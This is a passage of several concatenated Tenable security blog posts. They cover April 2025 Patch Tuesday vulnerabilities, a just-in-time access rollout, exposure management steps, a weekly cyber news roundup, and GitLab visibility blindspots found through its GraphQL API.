• Microsoft Streaming Service
• Microsoft Virtual Hard Drive
• OpenSSH for Windows
• Outlook for Android
• Power Automate
• RPC Endpoint Mapper Service
• Remote Desktop Client
• Remote Desktop Gateway Service
• System Center
• Visual Studio
• Visual Studio Code
• Visual Studio Tools for Applications and SQL Server Management Studio
• Windows Active Directory Certificate Services
• Windows BitLocker
• Windows Bluetooth Service
• Windows Common Log File System Driver
• Windows Cryptographic Services
• Windows DWM Core Library
• Windows Defender Application Control (WDAC)
• Windows Digital Media
• Windows HTTP.sys
• Windows Hello
• Windows Hyper-V
• Windows Installer
• Windows Kerberos
• Windows Kernel
• Windows Kernel Memory
• Windows Kernel-Mode Drivers
• Windows LDAP - Lightweight Directory Access Protocol
• Windows Local Security Authority (LSA)
• Windows Local Session Manager (LSM)
• Windows Mark of the Web (MOTW)
• Windows Media
• Windows Mobile Broadband
• Windows NTFS
• Windows Power Dependency Coordinator
• Windows Remote Desktop Services
• Windows Resilient File System (ReFS)
• Windows Routing and Remote Access Service (RRAS)
• Windows Secure Channel
• Windows Security Zone Mapping
• Windows Shell
• Windows Standards-Based Storage Management Service
• Windows Subsystem for Linux
• Windows TCP/IP
• Windows Telephony Service
• Windows USB Print Driver
• Windows Universal Plug and Play (UPnP) Device Host
• Windows Update Stack
• Windows Virtualization-Based Security (VBS) Enclave
• Windows Win32K - GRFX
• Windows upnphost.dll

Elevation of privilege (EoP) vulnerabilities accounted for 40.5% of the vulnerabilities patched this month, followed by remote code execution (RCE) vulnerabilities at 25.6%.

ImportantCVE-2025-29824 | Windows Common Log File System Driver Elevation of Privilege Vulnerability

CVE-2025-29824 is an EoP vulnerability in the Windows Common Log File System (CLFS) Driver. It was assigned a CVSSv3 score of 7.8 and is rated as important. It was exploited in the wild as a zero-day. Microsoft identified this vulnerability in ransomware deployed by the PipeMagic malware via the group tracked as Storm-2460.

This is the second EoP vulnerability in the Windows CLFS driver patched in 2025. In 2024, there were eight CLFS vulnerabilities patched, including one zero-day vulnerability in the CLFS driver that was exploited (CVE-2024-49138) and patched in the December 2024 Patch Tuesday release. Microsoft has patched an average of 10 vulnerabilities per year in the CLFS driver since 2022. Windows CLFS continues to be a popular attack vector for ransomware.

CriticalCVE-2025-26671, CVE-2025-27482 and CVE-2025-27480 | Windows Remote Desktop Services Remote Code Execution Vulnerability

CVE-2025-26671, CVE-2025-27480 and CVE-2025-27482 are RCE vulnerabilities in Windows Remote Desktop Gateway Service. Each was assigned a CVSSv3 score of 8.1 and two were rated as critical, with CVE-2025-26671 having a rating of Important. To exploit these flaws, an attacker must be able to win a race condition. Despite this requirement, Microsoft assessed CVE-2025-27482 and CVE-2025-27480 as “Exploitation More Likely” according to Microsoft’s Exploitability Index.

Microsoft also patched an RCE vulnerability in Remote Desktop Client (CVE-2025-27487).

CriticalCVE-2025-26663 and CVE-2025-26670 | Multiple Lightweight Directory Access Protocol (LDAP) Remote Code Execution Vulnerabilities

CVE-2025-26663 and CVE-2025-26670 are critical RCE vulnerabilities affecting Windows Lightweight Directory Access Protocol (LDAP) and LDAP Client respectively. These vulnerabilities were assigned a CVSSv3 score of 8.1, rated as critical and assessed as “Exploitation More Likely" according to Microsoft. Successful exploitation of either requires winning a race condition via a specially crafted request resulting in a use after free. If successful, the attacker could achieve RCE on an affected host.

Microsoft also patched CVE-2025-26673 and CVE-2025-27469, two denial of service (DoS) vulnerabilities in LDAP. These were assessed as Important and “Exploitation Less Likely.”

ImportantCVE-2025-27740 | Active Directory Certificate Services Elevation of Privilege Vulnerability

CVE-2025-27740 is an EoP vulnerability affecting Active Directory Certificate Services. It was assigned a CVSSv3 score of 8.8 and is rated as important. According to Microsoft, successful exploitation would allow an attacker to gain domain administrator privileges by manipulating computer accounts. This vulnerability is assessed as “Exploitation Less Likely.”

A publicly disclosed zero-day vulnerability in Active Directory Certificate Services was also patched in November, 2024 (CVE-2024-49019). Active Directory remains a popular target for attackers.

ImportantCVE-2025-29793 and CVE-2025-29794 | Microsoft SharePoint Remote Code Execution Vulnerability

CVE-2025-29793 and CVE-2025-29794 are RCE vulnerabilities affecting Microsoft SharePoint Server. The most severe of these vulnerabilities was assigned a CVSSv3 score of 8.8 and both were rated as important. Successful exploitation would grant an attacker the ability to execute arbitrary code. According to Microsoft, an attacker would need to be authenticated in order to exploit this vulnerability.

Microsoft has patched four vulnerabilities in SharePoint already this year, including three RCE vulnerabilities, and 20 vulnerabilities impacting SharePoint in 2024.

Tenable Solutions

A list of all the plugins released for Microsoft’s April 2025 Patch Tuesday update can be found here. As always, we recommend patching systems as soon as possible and regularly scanning your environment to identify those systems yet to be patched.

For more specific guidance on best practices for vulnerability assessments, please refer to our blog post on How to Perform Efficient Vulnerability Assessments with Tenable.

Get more information

• Microsoft's April 2025 Security Updates
• Tenable plugins for Microsoft April 2025 Patch Tuesday Security Updates

Join Tenable's Security Response Team on the Tenable Community.
Learn more about Tenable One, the Exposure Management Platform for the modern attack surface.

With the just-In-time (JIT) access control method, privileges are granted temporarily on an as-needed basis. This reduces static entitlements, lowering the risk of compromised accounts and preventing privilege creep. In this blog, we’ll share how we implemented JIT access internally at Tenable using Tenable Cloud Security, and offer recommendations we hope you’ll find useful.

Just-in-time access (JIT) is a valuable security practice that allows organizations to limit the time and the scope of users’ access to resources, such as applications and systems. However, implementing JIT access successfully is challenging, as it requires careful planning and ample communication between the security team and all other departments. At Tenable, we went through this process. Here, we share the lessons we learned and the best practices we adopted, as well as explain how you can leverage Tenable Cloud Security when implementing JIT access.

Benefits of JIT access

The most notable benefit of just-in-time (JIT) provisioning is its ability to restrict access duration. By granting permissions only upon request, JIT can reduce identity and entitlement risks by 75% or more in most scenarios. For example, a user who requests permissions for a 40-hour work week will not have access during the remaining 128 hours, thereby significantly minimizing the user’s identity-breach risks.

Another significant risk reduction made possible by JIT is the prevention of privilege creep. Over time, users tend to accumulate permissions for edge cases. These are usually one-time privileges granted for setup or troubleshooting tasks that are never removed. An example would be granting a user admin privileges over a tool for a rollout and then forgetting to remove those access rights once the project is over. JIT prevents the accumulation of permissions by making the access temporary and automating the cancellation of privileges. 

JIT access can also simplify permission assignments. For example, multiple least-privileged administrator assignments can be combined into one eligibility. While it might seem like a step backward, users must request this access, which they’ll only receive for a limited amount of time. This can streamline the organization’s access requests and reduce the security team’s overhead. 

However, implementing JIT access is a challenging task requiring significant communication between infosec and all other departments and teams in the organization. Read on to learn how we approached our JIT rollout using Tenable Cloud Security.

Preparing for JIT access

To configure Tenable Cloud Security’s JIT feature for your environment, you should first connect it to your identity and access management (IAM) provider, such as Okta’s, and manage JIT eligibilities in the IAM system’s interface. 

That way, Tenable Cloud Security’s JIT feature can be used with any application connected to the identity provider. Tenable Cloud Security supports the following identity providers: Microsoft Entra ID, Google Workspace, Okta, OneLogin, and Ping Identity. Tenable Cloud Security offers onboarding guides to connect it with these IAM systems. You will also have to configure a “JIT Administrators” group so that the security team can create and manage JIT eligibilities. 

The team members responsible for the implementation of JIT access should all be well versed in the usage of Tenable Cloud Security’s JIT, both as administrators and as an end users. Familiarity with the tool will allow JIT team members to answer questions from other teams and show them demos throughout the rollout process.

In addition, if your organization’s corporate infosec policies do not address JIT access, they should be revised accordingly. JIT access policies should cover the following: 

• the ephemeral nature of JIT access requests
• approvers’ responsibilities
• criteria for risk-acceptance when JIT cannot be used 
• duration limits on access requests
• when approvals are required

By updating the infosec policy prior to the rollout, common issues can be avoided and the policy can be used to push adoption. 

Work small, win big

Changing access methodologies is a major undertaking because each team and system within an organization has unique circumstances and edge cases. Any disruption in access to the organization's systems can affect productivity and may disrupt rollout plans. Because of this, JIT should be rolled out gradually on a team, system, or even an entitlement basis to ensure a smooth transition and limit the scope of any potential issues. The following process can be used to engage with teams and to roll out JIT: 

Working with the processIdentify

Tenable Cloud Security can be used to identify excessive permissions in connected cloud environments. Look under “IAM -> Excessive permissions” to find great candidates for conversion to JIT access. There may be opportunities to simplify assignments and permissions by combining several similar roles into a single one backed by JIT for security. While this does violate the principle of role-based access control, the reduction in the number of roles and limited duration access offered by JIT make up for this.
 

Overprivileged identities detected by Tenable Cloud Security

Moving beyond the capabilities of Tenable Cloud Security, a hands-on assessment should also be performed. The reason for this additional evaluation is to address the unique requirements and constraints that each system, application or tool may have. The assessment should begin with the most business-critical systems and work downward based on sensitivity. Of note should be administrator users; users with the ability to escalate their permissions; and users whose permissions are broadly scoped. For each system, the highest privileged entitlements should be considered first by addressing the following questions:

• Can Tenable Cloud Security’s JIT access feature work technically with this application, system or tool?

Ensure that the application can handle automatic provisioning and deletion of user accounts by a single sign-on (SSO) provider such as Okta. If a system has API tokens, check if they are bound to user account(s) and follow the lifecycle of the account(s). API tokens that do not get deleted or disabled with the user account should be actively monitored. If the permissions granted to users allow them to create static user accounts, those actions should also be monitored to ensure that JIT is not being circumvented with static credentials.

• How will the eligibility be used?

Frequently used access such as those needed to perform daily job duties are poor candidates for JIT. The login steps added by JIT can be inconvenient and obstructive if users have to perform them every day. In addition, low-risk access like the ability to submit support requests are poor candidates for JIT because the risk reduction may not justify the complexity.

• What options do we have for recovery or emergencies if JIT fails?

JIT access introduces a point of failure over traditional static access control if, for example, the JIT functionality has an outage or if approvers are unavailable. In the case of a JIT outage, recovery-service accounts should be made to retain access to business-critical systems. Generally these are static identities within the application with admin privileges to recover from an incident. When an access request is made outside of normal business hours, there can be significant delays in getting approval. If this occurs during an incident, the time-to-resolution will be impacted. The escalation process should be established to handle incidents prior to rolling out JIT access to prevent disruption of recovery efforts by JIT. 

Communicate

Transitioning from a traditional access model to a JIT access model can add significant friction for users. While Tenable Cloud Security’s JIT has integrations like Slack and email notifications to enhance and streamline the user experience, these features need to be communicated to the team being onboarded. To ensure adoption, it is important to communicate and work with teams and stakeholders during the process to address their concerns and earn their trust. Generally, this should begin by demonstrating the JIT functionality to system owners from an end-users’ perspective. Be ready to make changes requested by teams, as it may be necessary to grant them more access than their current entitlement allows, in exchange for their adoption of JIT access. Engage the team to see if there are areas outside of what the infosec team has identified where JIT can be implemented. This could be another team’s access to the same application; a different application they may want to onboard; or a complex authentication process that can be simplified. 

After you have buy-in from the system owners, you should scope access eligibilities. In Tenable Cloud Security, eligibilities are defined by their requestors, approvers, access duration and cloud providers’ scope of access. Requestors and approvers should be organized into groups in the SSO system for automatic and easy onboarding and removal. Generally, these are groups that are already in use with static permission assignments. Determining requestors with the system owners is straightforward; anyone who already used the entitlement should be granted eligibility. There may also be additional requestors that could be added to the eligibility from the security comfort afforded by JIT access such as: occasional and infrequent users; help desk users to assist with troubleshooting; and additional administrators.
 

Examples of eligibilites in Tenable Cloud Security’s JIT console

Determining approvers is a more difficult task, as approvers are context-sensitive based on the access risk. Approvers should always be more than one person for the purposes of redundancy and coverage. Approvers should also be educated on the system's usage to meaningfully approve or deny access requests. Overlapping the requestors and approvers is a good approach – provided all of the requestors are good security stewards. Tenable Cloud Security’s JIT allows for three layers of approvals; that way, multiple layers of approvals can be used for high-risk access. Multi-layered approvals usually follow the organizational diagram, beginning with a peer on the same team and escalating up to managers/directors or system owners, depending on the context. If the access risk is low, approvers can be forgone entirely.

Many teams will have questions about availability regarding JIT: What happens if no one is around to approve my request? What happens if JIT is inaccessible? What if I need access longer than JIT will allow? The infosec team must be ready to address these concerns. Generally, a backup service account should be configured to handle edge cases. Usually, this is the default admin account in systems for recovery and setup purposes. Logins by the service account should be reported to the infosec team for review. Processes for accessing the service account should be documented internally and shared with the system owners. If feasible, multi-factor authentication (MFA) should be added to the service account, ideally with hardware tokens, although this may not be an option for remote system owners. 

Implement

JIT access should be deployed alongside the traditional static access, and a concrete date should be set for turning off static access. It is important to maintain both during a transition period so teams can grow accustomed to the JIT process and identify any issues. During this period, users should be encouraged to proactively report any usage issues. Approvers and requestors may need to be revised or entitlement permissions changed. The attention should be on the enablement of the users. Sometimes this can mean granting additional permissions or allowing a large group of users to be requestors or approvers. 

It is strongly recommended to maintain as much of the JIT setup in infrastructure-as-code (IaC) because that will allow for quick expansion, easy documentation and drift prevention. JIT access generally requires three distinct configurations when in use: the JIT tool, the identity provider, and the system being accessed. These configurations can quickly become cumbersome and drift easily if not maintained as IaC. Additionally, changing access models is a prime opportunity to adopt IaC across systems being onboarded if they are not already configured as such. 
 

Example of Terraform IaC groups used by JIT

Once teams are completely transitioned to using JIT access, the static entitlements should be removed. A precise date of termination of the static assignment should be agreed upon by the infosec team and the system's stakeholders. Any recovery or break-the-glass access should be tested end-to-end before the entitlement is deleted to ensure recovery accounts are working and configured properly. You should maintain a notation of the permissions of the entitlement and significant stakeholders in case the permissions need to be reverted and you need to demonstrate the reduction of entitlements.

Next steps

As the team finishes implementing JIT for the identified entitlement, the incremental process of identifying other high-risk entitlements should begin again, ideally working with the same team. Periodic access reviews should be scheduled to ensure that eligibilities are scoped correctly and to determine if permissions should be changed based on utilization. Keep up to date on the capabilities of the JIT tool and the needs of the teams in the organization. New capabilities may enable large portions of the organization that were previously blocked.

Final thoughts

Here’s quick recap of the key lessons we at Tenable learned during our JIT rollout:

• Successful deployment of JIT access requires continuous communication with teams to ensure a smooth transition. 
• Helping teams feel confident and comfortable with the JIT process before and during the migration is critical to success.
• Ensuring that teams are educated on the capabilities of JIT allows them to proactively suggest new areas of adoption that help improve their own workflows.
• A JIT adoption project gives organizations a unique opportunity to build out strong, resilient processes to improve the security and scalability of IAM in the organization. 

To learn more, visit Tenable Cloud Security's JIT access webpage and check out the solution overview "Cloud Just-in-Time Access: Enforce Temporary Elevated Access to Cloud Resources."

Each Monday, the Tenable Exposure Management Academy provides the practical, real-world guidance you need to shift from vulnerability management to exposure management. In this post, we explore the five steps to take on your journey to exposure management. You can read the entire Exposure Management Academy series here.

Chances are, you’re buried in vulnerabilities and other cyber risks and there’s simply no way to address them all. But they keep on coming. You could work day and night and never hope to close them all. Of course, hope is not a strategy — especially with breaches like those that impacted SolarWinds and Colonial Pipeline, which cost millions to mitigate. And even after those companies cleaned up their issues, the damage was done — to their brands, to customer loyalty and to stakeholder confidence. 

So, faced with building threats, what can you do? 

In the cyber world, the key to getting ahead of your exposures is focus. That doesn’t mean trying to boil the ocean of threats you face. In fact, it might mean doing less. Pour that ocean into a paper cup. 

Economist Michael E. Porter wrote in a seminal Harvard Business Review article: "The essence of strategy is choosing what not to do." The upshot here: How can you be strategic if you have to do everything? Or, as the great philosopher Bob Seger once sang in “Against The Wind”: 

Deadlines and commitments
What to leave in, what to leave out

So, what should you leave in and what should you leave out? 

Let’s think about it: Many organizations have to address hundreds of new vulnerabilities across thousands of assets each week. Then there are the daily software vulnerabilities that application development introduces, myriad cloud misconfigurations and vast amounts of overprivileged service accounts that often lead to breaches.

An exposure management program can help you move beyond noisy findings like misconfigurations, CVEs and excessive permissions so you can focus on your organization’s riskiest exposures. To help you start your journey, we’ve crafted five steps that will get you moving from vulnerability management toward exposure management. You may have noticed a mention of these steps in a recent post, What Is Exposure Management and Why Does It Matter? We expand on them here. 

Start your exposure management journey with five steps

If you think about risk-based exposure management as a journey, with steps and mileposts along the way, you’ll be in good shape for the coming months and years. Let’s get started. 

Step 1: Know your attack surface

Attackers usually gain an initial foothold by compromising an asset or identity that gives them machine or human privileges. 

With cloud, IoT and remote work proliferating in recent years, perimeters are a relic of that past. So the attack surface, which used to be a fixed IT infrastructure footprint, is now amorphous and expanding constantly. Alongside that expansion, the number of potential entry points for attackers grows in lockstep. 

But there are always gaps. And a single unsecured device, unpatched laptop, misconfigured cloud storage bucket or weak password can provide sufficient privileges to serve as a launchpad for a successful attack. 

So the first step in the exposure management journey has to focus on attack surface management, which gives you comprehensive visibility into your entire attack surface — both external and internal. This requires bringing together asset and identity information distributed over multiple tools. 

Must have: An exposure management platform will enable the discovery and aggregation of asset data across your entire external and internal attack surface. Seemingly elusive assets in cloud, IT, operational technology (OT), internet of things (IoT), identities and applications will show up in a holistic view of the attack surface. 

Step 2: Identify preventable risk

Just about every attack aims to exploit weaknesses to escalate privileges and move laterally. Figuring out all preventable risks can be a challenge because it requires a mix of techniques and tools across network scanners, agents, passive monitoring and agentless approaches. 

Even if you manage to bring all of that together, the findings are usually locked in individual tools — each with unique risk prioritization scores. 

To effectively measure and manage risk requires a complete and normalized view of all preventable risk, including an inventory of misconfigurations, vulnerabilities and excessive privileges for each asset or identity. This is essential to understanding total exposure. 

Must have: An exposure management platform will detect the three preventable forms of risk attackers use to gain initial access and move laterally: vulnerabilities, misconfiguration and excessive privileges. The platform will aggregate findings by asset then normalize them to calculate an overall risk score that enables security teams to quickly identify the assets that pose the greatest potential risk to your organization. 

Step 3: Align with business context

News Flash: Most security teams are understaffed. Why is that? Although there’s a limited talent pool, the primary reason stems from limited budgets. So, it’s no surprise that, with an overwhelming number of assets and findings streaming in every day, many security teams struggle to keep pace. The result is alert fatigue.

Overcoming alert fatigue and scaling security requires visibility into what matters most — the critical services, processes and data that support the mission of your organization. It could be a digital commerce service that generates revenue, client data that stores personally identifiable information or the processes that run a manufacturing line.

By aligning assets to these mission-critical functions, you can prioritize crown jewel assets, and push everything else to the back of the line. 

Must have: An exposure management solution features asset tagging that enables security staff to logically group assets across technology domains and align them with an important business function, service or process. 

Step 4: Remediate true exposure

If there’s one goal every attacker has it’s this: identifying viable attack paths. 

From those attack paths, they’ll try a few things, including exfiltrating data, disrupting operations or demanding ransom. 

Because even a single open port on an asset can provide an initial foothold that leads to any number of potential attack paths, understanding the relationships between assets, identities and risk is critical. If you look into these toxic relationships, you’ll see the attack paths that lead to crown jewels and you can prioritize remediation accordingly. 

Another benefit of attack path analysis is that you can see your choke points — the specific risks that enable multiple attack paths. As a result, when you remediate one issue, you can resolve dozens, if not hundreds, of attack paths to help close exposures fast. 

Must have: An exposure management system shares detailed asset, identity and risk relationship information it discovers and maintains in its asset inventory. You’ll be able to see high-risk assets, including crown jewels. But more importantly, you’ll be able to see all related attack paths that lead to that asset.

Step 5: Continuously optimize investments

Companies have made incalculable investments in security tools that produced trillions of data points and telemetry details about every potential risk. On the surface, that might seem impressive. But the reality is, even with all of that data (or maybe because of it), most security leaders struggle to answer a fundamental question: “How secure are we?” 

If you can’t answer that question, you’ll have trouble when your board of directors comes calling. Or maybe you’ll get tripped up when it’s time to report to the C-suite and lines of business. With tight budgets and staffing constraints, understanding where investments can make the biggest impact is vital. 

Measuring, managing and communicating exposure in multiple ways should be at the core of your responsibilities. That includes overall cyber exposure for an organization, exposure by business function or line of business, by technology domain, by administrator, or even compliance aligned to specific regulatory mandates. 

Must have: An exposure management software provides real-time and historical visibility into key performance and risk indicators, including trend, service-level agreement and remediation insights. This will help you understand where you are in relation to your peers. 

Takeaways

The frenetic nature of today’s threat landscape shows no signs of abating. As a result, siloed security is ill-equipped to address today's sophisticated threat attackers. 

There is a new way: a holistic exposure management program that provides comprehensive visibility into assets, identities and risks. Exposure management aligns security to the things that matter most, prioritizing remediation of true exposures that can have a material impact on your organization.

Check out the security controls that SANS Institute says are essential for protecting your AI systems. Plus, the U.K. NCSC urges organizations to adopt newer API security practices. In addition, CISA and other cyber agencies warn that attackers are using “fast flux” techniques to conceal their actions. And much more!

Dive into five things that are top of mind for the week ending April 4.

1 - SANS: Six critical controls for securing AI systems

How do you protect the growing number of artificial intelligence (AI) systems your organization is gleefully deploying to improve business operations?

That’s a critical question cybersecurity teams grapple with every day. In an effort to help bring clarity to this issue, SANS Institute this week published draft guidelines for AI system security.

The “SANS Draft Critical AI Security Guidelines v1.1” document outlines these six key security control categories for mitigating AI systems' cyber risks.

• Access controls methods, including:
  • Least privilege, for ensuring that users, APIs and systems have the minimum-necessary access to AI systems
  • Zero trust, for vetting all interactions with AI models
  • API monitoring, for flagging potentially malicious API usage
• Protections for AI operational and training data, including:
  • Data integrity of AI models
  • Prevention of tampering with AI prompts 
• Secure deployment decisions, including:
  • On-premises versus cloud, based on criteria like performance expectations and regulatory requirements
  • Development environments integrated with large language models (LLMs) that don't expose secrets, such as API keys and algorithms

 

 

• Inference security for preventing malicious input attacks, including:
  • Adoption of response policies for AI outputs
  • Prompt filtering and validations for mitigating prompt injection attacks
• Continuous monitoring of AI models, including:
  • Refusal of inappropriate queries
  • Detection of unauthorized model changes
  • Logging of prompts and outputs
• Governance, risk and compliance for complying with data protection and privacy regulations, including:
  • Adoption of AI risk management frameworks
  • Maintaining an AI bill of materials to track AI supply chain dependencies
  • Use of model registries to track AI model lifecycles

“By prioritizing security and compliance, organizations can ensure their AI-driven innovations remain effective and safe in this complex, ever-evolving landscape,” the document reads.

In addition to the six critical security controls, SANS also offers advice for deploying AI models, recommending that organizations do it gradually and incrementally, starting with non-critical systems; that they establish a central AI governance board; and that they draft an AI incident response plan.

For more information about securing AI systems against cyberattacks, check out these Tenable resources:

• “Securing the AI Attack Surface: Separating the Unknown from the Well Understood” (blog)
• “Harden Your Cloud Security Posture by Protecting Your Cloud Data and AI Resources” (blog)
• “Who's Afraid of AI Risk in Cloud Environments?” (blog)
•  “Tenable Cloud AI Risk Report 2025” (research report)
• “Never Trust User Inputs -- And AI Isn't an Exception: A Security-First Approach” (blog)

2 - NCSC: Obsolete API security is a gift for cyber attackers

Organizations must update their methods for securing their application programming interfaces (APIs), including by using stronger authentication.

So said the U.K. National Cyber Security Centre (NCSC) this week in a new guidance document titled “Securing HTTP-based APIs,” published in the wake of several high-profile API breaches.

“Strengthening API security should not simply be seen as a protective measure; it can also enable organisations to enhance agility, simplicity and productivity,” reads a companion NCSC blog titled “New guidance on securing HTTP-based APIs.”

Unfortunately, many organizations rely on outdated API-security practices, including:

• Use of basic authentication
• Lack of rate-limiting and user-throttling capabilities
• Unprotected endpoints
• Code-stored credentials
• Use of URLs to transmit sensitive data
• Lax input validation
• Unencrypted API traffic via HTTPs
• Weak logging and monitoring

 

NCSC offers detailed recommendations to boost the security of your HTTP-based APIs in areas including:

• Development practices
• Authentication and authorization
• Protection of in-transit data
• Input validation
• Denial-of-service attack mitigation
• Logging and monitoring
• Exposure limitation

For example, NCSC recommends adopting strong authentication frameworks like OAuth 2.0 or token-based authentication. It also suggests doing a threat modeling analysis of your API design.

Another recommendation is to develop APIs’ applications in a secure development and delivery environment; and to use secure standards, such as JSON for data exchange and TLS cryptography for in-transit data.

For more information about API security:

• “OWASP API Security Project” (OWASP)
• “13 API security best practices to protect your business” (TechTarget)
• “4 Main API Security Risks Organizations Need to Address” (Dark Reading)
• “API security maturity model to assess API security posture” (TechTarget)
• “99% of Organizations Report API-Related Security Issues” (Infosecurity Magazine)

3 - Alert: Attackers using “fast flux” technique to hide their tracks

Cyber attackers are leveraging a technique called “fast flux” to evade detection and conceal their actions, so critical infrastructure organizations, internet service providers and governments must prioritize addressing this critical threat.

The warning comes via a joint cybersecurity advisory issued this week by the governments of Australia, Canada, New Zealand and the U.S.

“Fast flux represents a persistent threat to network security, leveraging rapidly changing infrastructure to obfuscate malicious activity,” reads the advisory, titled “Fast Flux: A National Security Threat.”

“By implementing robust detection and mitigation strategies, organizations can significantly reduce their risk of compromise by fast flux-enabled threats,” the document adds. 

 

A type of dynamic resolution technique, “fast flux” allows cyber criminals, nation-state actors and other cyber attackers to:

• Disguise the location of their servers by quickly their changing domain name system (DNS) records, such as their IP address
• Stand up robust and stealthy command-and-control (C2) operations
• Set up malicious websites for phishing campaigns that are difficult to block and take down

Governments, critical infrastructure organizations, ISPs, cybersecurity service providers and protective DNS service providers should take “a multi-layered approach to detection and mitigation to reduce risk of compromise by fast flux-enabled threats,” reads an alert from the U.S. Cybersecurity and Infrastructure Security Agency (CISA).

“Fast flux” mitigation recommendations include:

• Block access to IP addresses and domains associated with malicious “fast flux” networks, and sinkhole these domains to controlled servers to analyze their traffic.
• Increase monitoring and logging of DNS and network traffic; and set up “fast flux” alert mechanisms.
• Share “fast flux” detection indicators, such as domains and IP addresses, with partners and threat intelligence communities via, for example, the U.S.’s Automated Indicator Sharing and Australia’s Cyber Threat Intelligence Sharing Platform.
• Train employees on phishing detection and response, and adopt policies and procedures for dealing with phishing inciddents facilitated by “fast flux” networks.

Agencies that co-authored this advisory include CISA, the U.S. Federal Bureau of Investigation (FBI), the Australian Cyber Security Centre, the Canadian Centre for Cyber Security and New Zealand’s Nation Cyber Security Centre.

For more information about the “fast flux” technique:

• “Dynamic Resolution: Fast Flux DNS” (MITRE)
• “Fast-flux botnet detection from network traffic” (IEEE)
• “Fast Flux DNS” (DevX)
• "What is DNS Fast Flux?" (Knowledge Academy)
• "DNS-Based Fast-Flux Botnet Detection Approach" (ICTERI)

4 - Tenable polls webinar attendees on API security

During a recent webinar about our Tenable Web Application Scanning product, we polled attendees about their API security practices, including API discovery and protection. Check out what they said.

(41 webinar attendees polled by Tenable, April 2025)

(38 webinar attendees polled by Tenable, April 2025)

To learn more about API security and about what’s new in Tenable Web Application Scanning, watch the webinar on demand.

5 - U.S. House looks at cybersecurity of local, state governments

A U.S. House of Representatives subcommittee held a hearing this week about the ability of U.S. state, local, tribal and territorial (SLTT) governments to address rapidly-changing cyber threats.

Also discussed: The future of the “State and Local Cybersecurity Grant Program” (SLCGP), which was established in 2021 to help boost SLTT governments’ cybersecurity preparedness and which is set to expire in September.

“Cybersecurity is a whole-of-society challenge, meaning the Federal government must continue to support and strengthen cybersecurity at the state and local levels to protect our nation’s networks and critical infrastructure,” said Rep. Andrew Garbarino (R-NY), Chairman of the House Subcommittee on Cybersecurity and Infrastructure Protection.

Tenable Chief Security Officer Robert Huber was one of four experts who testified during the hearing, titled “Cybersecurity is Local, Too: Assessing the State and Local Cybersecurity Grant Program.”

 

Huber, who is also Tenable’s Head of Research and President of Tenable Public Sector, emphasized the importance of the SLCGP in strengthening cybersecurity and critical infrastructure, while recommending grant process improvements to increase participation.

Check out a few minutes of Huber’s participation in the hearing:

 For more information about cybersecurity challenges of state and local governments:

• “Cybersecurity challenges faced by local governments in 2025” (American City & County)
• “Local governments need more cyber funding, report finds” (StateScoop)
• “State and Local Governments’ Cyber Resilience Efforts Face Constraints” (StateTech)
• "Cybersecurity Resources for Local Governments" (Municipal Research and Services Center)
• "Closing digital divide will boost cyber too, NASCIO says" (StateScoop)

If your organization uses GitLab for managing your software development lifecycle, you must ensure you’re not misconfiguring the permissions of this open source DevSecOps platform. Doing so can expose your source code, along with sensitive data, while creating security risks. In this blog, we’ll explain how new Tenable plugins can help you keep your GitLab environment secure.

GitLab is one of the most popular source code management (SCM) and continuous integration and delivery/development (CI/CD) open-source solutions. Enterprise developers leverage GitLab to build their organizations’ web applications and automate their deployment. GitLab is available as both a SaaS application and an on-premises solution.

GitLab permissions model overview

GitLab’s structure is organized into these key components:

• Projects: This is the core unit where source code, issues, CI/CD pipelines and other development resources live. Each project contains its own repository and settings. A project can be public, private or internal.
• Groups: They contain one or more projects to help administrators define high-level organizational units designed for teams or organizations. By leveraging groups, administrators can for, example, automatically assign permissions and apply configurations to their projects. Self-managed GitLab instances and SaaS instances for organizations will automatically provide a top-level group which we will refer to as the “root” or “organization-level” group.
• User Namespaces: Every GitLab user automatically gets a personal namespace to host personal projects or code snippets to share with other users.

GitLab offers administrators the ability to define their access control policy on the different components according to their business needs. This includes:

• Setting the default visibility for newly created groups, projects or snippets. The three available options are private, internal and public. The public option makes the resource readable to anyone in the world without any authentication.
• Restricting visibility levels to limit the visibility options available to users when creating or updating resources such as projects, groups or snippets.

Use cases for the different types of visibility vary depending on the organization’s business needs. For example, if an organization is hosting an open-source project on a GitLab instance, it would make sense for administrators to set the visibility option for the project or the group to public. On the other hand, an administrator would most likely choose the private or internal options for a GitLab instance dedicated to an internal project.

Identifying permissions blindspots

We recently developed new Tenable Web Application Scanning plugins for GitLab, designed to alert our customers about overpermissive visibility levels. While conducting our research, we identified a number of permission blindspots in GitLab that guided the development of our plugins.

Limited visibility controls over personal namespaces

First, we realized that GitLab administrators who want to restrict visibility levels for their groups, projects and snippets can only do so in certain scenarios. 

In some cases, administrators can restrict visibility levels only for organization-level groups and for inherited objects. However, they can’t restrict visibility levels for personal namespaces.

According to GitLab’s documentation, the visibility restriction setting “does not apply to groups and projects created under a personal namespace” although there is a feature request to extend this functionality to enterprise users.

GitLab’s documentation provides a workaround for administrators to disable the creation of personal namespaces. However, the workaround’s functionality is limited.

Permission blindspots via GitLab’s GraphQL API: Groups, topics, snippets

Second, we identified that third-party tools for detecting excessive GitLab permissions rely mainly on the GitLab REST API. But GitLab also offers a GraphQL API, which provides a more flexible and efficient way to query data. Thus, we decided to see if we could use it for our detections.

GitLab instances expose a GraphQL Explorer interface on the https://GITLAB/-/graphql-explorer URL. Although this web interface slightly increases the GitLab attack surface, it doesn’t pose an immediate security risk because its role is mainly to offer a convenient way to send requests to the GitLab GraphQL API. If you’re not an authenticated user of the target GitLab instance, the requests will only allow retrieval of publicly available data.

Access to public groups

Let’s look at the type of public data you’re able to access via this method, starting with the following query to retrieve the public groups on a target instance:
 

Requesting public groups through the GraphQL API

 

Public groups fetched through the GraphQL API

The response returns all the public groups along with their webUrl, which allows an unauthenticated user to visit those URLs directly.

Access to public projects and their source code

With the URLs that were returned, an unauthenticated user can now follow the same operation to see the public projects and access their source code:
 

Requesting public projects through the GraphQL API

 

Public projects fetched through the GraphQL API

Access to project topics

An unauthenticated user also can retrieve information about project topics by specifying the title and description fields in the GraphQL query:
 

Requesting public topics through the GraphQL API
 

Public topics fetched through the GraphQL API

Access to public code snippets

We also observed that the code snippets feature can be public depending on the hosting type and the license level, and administrators can’t change the visibility level to private or internal as described in this official issue. The code snippets feature allows users to store pieces of code on the GitLab instance without adding them to a project repository.

That said, we noticed a difference in behaviour between the GitLab REST and GraphQL APIs: using the GraphQL API an unauthenticated user would be able to retrieve the list of public snippets but not with the GitLab REST API.

If you try to use the GitLab REST API to request the list of all public snippets without authentication through the https://GITLAB//api/v4/snippets/public URL, you’ll get a 401 error:

